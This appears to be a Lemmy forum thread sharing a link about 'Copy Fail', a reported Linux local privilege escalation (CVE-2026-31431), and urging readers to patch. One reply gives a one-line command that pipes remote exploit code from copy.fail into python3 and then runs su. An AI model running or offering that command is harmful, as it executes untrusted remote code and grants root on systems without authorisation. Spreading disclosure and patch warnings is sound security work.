Selfhosted@lemmy.worldEnglish · 1 day ago

Serious Linux vulnerability affecting nearly every system. Patch your systems.

copy.fail

285

Serious Linux vulnerability affecting nearly every system. Patch your systems.

copy.fail

HM King Charles III DG FD@feddit.uk to

Selfhosted@lemmy.worldEnglish · 1 day ago

Copy Fail — 732 Bytes to Root

copy.fail

CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code.

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You could try it

curl https://copy.fail/exp | python3 && su

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